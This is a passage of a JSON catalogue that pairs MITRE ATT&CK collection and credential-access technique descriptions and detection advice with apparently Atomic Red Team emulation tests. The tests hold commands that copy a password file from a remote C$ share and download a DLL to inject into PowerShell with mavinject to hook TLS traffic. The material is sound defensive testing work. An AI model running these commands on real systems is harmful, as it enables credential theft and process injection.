- "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Share: Network Share Access",
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_system_requirements": [
- "Privileges to access network shared drive"
- ],
- "identifier": "T1039"
- },
- "atomic_tests": [
- {
- "name": "Copy a sensitive File over Administive share with copy",
- "auto_generated_guid": "6ed67921-1774-44ba-bac6-adb51ed60660",
- "description": "Copy from sensitive File from the c$ of another LAN computer with copy cmd\nhttps://twitter.com/SBousseaden/status/1211636381086339073",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote": {
- "description": "Remote server name",
- "type": "string",
- "default": "127.0.0.1"
- },
- "share_file": {
- "description": "Remote Path to the file",
- "type": "path",
- "default": "Windows\\temp\\Easter_Bunny.password"
- },
- "local_file": {
- "description": "Local name",
- "type": "string",
- "default": "Easter_egg.password"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Administrative share must exist on #{remote}\n",
- "prereq_command": "if (Test-Path \"\\\\#{remote}\\C$\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host 'Please Enable \"C$\" share on #{remote}'\n"
- },
- {
- "description": "\"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n",
- "prereq_command": "if (Test-Path \"\\\\#{remote}\\C$\\#{share_file}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Out-File -FilePath \"\\\\#{remote}\\C$\\#{share_file}\"\n"
- }
- ],
- "executor": {
- "command": "copy \\\\#{remote}\\C$\\#{share_file} %TEMP%\\#{local_file}",
- "cleanup_command": "del \\\\#{remote}\\C$\\#{share_file}\ndel %TEMP%\\#{local_file}",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Copy a sensitive File over Administive share with Powershell",
- "auto_generated_guid": "7762e120-5879-44ff-97f8-008b401b9a98",
- "description": "Copy from sensitive File from the c$ of another LAN computer with powershell\nhttps://twitter.com/SBousseaden/status/1211636381086339073",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote": {
- "description": "Remote server name",
- "type": "string",
- "default": "127.0.0.1"
- },
- "share_file": {
- "description": "Remote Path to the file",
- "type": "path",
- "default": "Windows\\temp\\Easter_Bunny.password"
- },
- "local_file": {
- "description": "Local name",
- "type": "string",
- "default": "Easter_egg.password"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Administrative share must exist on #{remote}\n",
- "prereq_command": "if (Test-Path \"\\\\#{remote}\\C$\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host 'Please Enable \"C$\" share on #{remote}'\n"
- },
- {
- "description": "\"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n",
- "prereq_command": "if (Test-Path \"\\\\#{remote}\\C$\\#{share_file}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Out-File -FilePath \"\\\\#{remote}\\C$\\#{share_file}\"\n"
- }
- ],
- "executor": {
- "command": "copy-item -Path \"\\\\#{remote}\\C$\\#{share_file}\" -Destination \"$Env:TEMP\\#{local_file}\"",
- "cleanup_command": "Remove-Item -Path \"\\\\#{remote}\\C$\\#{share_file}\"\nRemove-Item -Path \"$Env:TEMP\\#{local_file}\"",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1114.002": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "Windows",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
- "type": "attack-pattern",
- "created": "2020-02-19T18:52:24.547Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1114.002",
- "url": "https://attack.mitre.org/techniques/T1114/002"
- }
- ],
- "modified": "2021-03-25T13:12:56.909Z",
- "name": "Remote Email Collection",
- "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Logon Session: Logon Session Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1056": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Lambert, Microsoft Threat Intelligence Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:48.323Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056",
- "url": "https://attack.mitre.org/techniques/T1056"
- },
- {
- "external_id": "CAPEC-569",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/569.html"
- },
- {
- "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
- "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
- "source_name": "Adventures of a Keystroke"
- }
- ],
- "modified": "2022-03-08T21:05:20.658Z",
- "name": "Input Capture",
- "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: Process Creation",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification",
- "Process: OS API Execution",
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1557.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
- "type": "attack-pattern",
- "created": "2020-10-15T12:05:58.755Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.002",
- "url": "https://attack.mitre.org/techniques/T1557/002"
- },
- {
- "source_name": "RFC826 ARP",
- "url": "https://tools.ietf.org/html/rfc826",
- "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."
- },
- {
- "source_name": "Sans ARP Spoofing Aug 2003",
- "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411",
- "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."
- },
- {
- "source_name": "Cylance Cleaver",
- "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
- "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
- }
- ],
- "modified": "2021-07-28T01:04:39.141Z",
- "name": "ARP Cache Poisoning",
- "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1213.003": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itamar Mizrahi, Cymptom",
- "Toby Kohlenberg",
- "Josh Liburdi, @jshlbrd"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3",
- "type": "attack-pattern",
- "created": "2021-05-11T18:51:16.343Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1213.003",
- "url": "https://attack.mitre.org/techniques/T1213/003"
- },
- {
- "source_name": "Wired Uber Breach",
- "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/",
- "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021."
- },
- {
- "source_name": "Krebs Adobe",
- "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/",
- "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021."
- }
- ],
- "modified": "2021-10-16T01:35:43.483Z",
- "name": "Code Repositories",
- "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1213": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS",
- "SaaS",
- "Office 365",
- "Google Workspace",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)",
- "Regina Elwell",
- "Praetorian",
- "Milos Stojadinovic",
- "Isif Ibrahima, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "3.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1213",
- "url": "https://attack.mitre.org/techniques/T1213"
- },
- {
- "source_name": "Atlassian Confluence Logging",
- "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
- "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018."
- },
- {
- "source_name": "Microsoft SharePoint Logging",
- "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
- "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018."
- },
- {
- "source_name": "Sharepoint Sharing Events",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events",
- "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.",
- "modified": "2022-04-11T22:28:36.395Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data from Information Repositories",
- "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1602.001": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5",
- "type": "attack-pattern",
- "created": "2020-10-19T23:51:05.953Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1602.001",
- "url": "https://attack.mitre.org/techniques/T1602/001"
- },
- {
- "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
- "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051",
- "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
- "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
- "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."
- }
- ],
- "modified": "2020-10-22T01:54:22.812Z",
- "name": "SNMP (MIB Dump)",
- "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1056.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
- "type": "attack-pattern",
- "created": "2020-02-11T19:01:15.930Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.004",
- "url": "https://attack.mitre.org/techniques/T1056/004"
- },
- {
- "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
- "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
- "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
- "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
- "source_name": "Microsoft Hook Overview"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
- "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
- "source_name": "Adlice Software IAT Hooks Oct 2014"
- },
- {
- "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
- "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
- "source_name": "MWRInfoSecurity Dynamic Hooking 2015"
- },
- {
- "url": "https://www.exploit-db.com/docs/17802.pdf",
- "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
- "source_name": "HighTech Bridge Inline Hooking Sept 2011"
- },
- {
- "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
- "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
- "source_name": "Volatility Detecting Hooks Sept 2012"
- },
- {
- "url": "https://github.com/prekageo/winhook",
- "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
- "source_name": "PreKageo Winhook Jul 2011"
- },
- {
- "url": "https://github.com/jay/gethooks",
- "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
- "source_name": "Jay GetHooks Sept 2011"
- },
- {
- "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
- "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
- "source_name": "Zairon Hooking Dec 2006"
- },
- {
- "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
- "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
- "source_name": "EyeofRa Detecting Hooking June 2017"
- },
- {
- "url": "http://www.gmer.net/",
- "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
- "source_name": "GMER Rootkits"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
- "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
- "source_name": "Microsoft Process Snapshot"
- },
- {
- "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
- "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
- "source_name": "StackExchange Hooks Jul 2012"
- }
- ],
- "modified": "2020-11-10T18:29:31.138Z",
- "name": "Input Capture: Credential API Hooking",
- "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1056.004"
- },
- "atomic_tests": [
- {
- "name": "Hook PowerShell TLS Encrypt/Decrypt Messages",
- "auto_generated_guid": "de1934ea-1fbf-425b-8795-65fb27dd7e33",
- "description": "Hooks functions in PowerShell to read TLS Communications\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "Dll To Inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll"
- },
- "server_name": {
- "description": "TLS Server To Test Get Request",
- "type": "url",
- "default": "https://www.example.com"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1056.004x64.dll must exist on disk at specified location (#{file_name})\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"#{file_name}\" -UseBasicParsing\n"
- }
- ],
- "executor": {
- "command": "mavinject $pid /INJECTRUNNING #{file_name}\nInvoke-WebRequest #{server_name} -UseBasicParsing\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- }
- }
- },
- {
- "category": "lateral-movement",
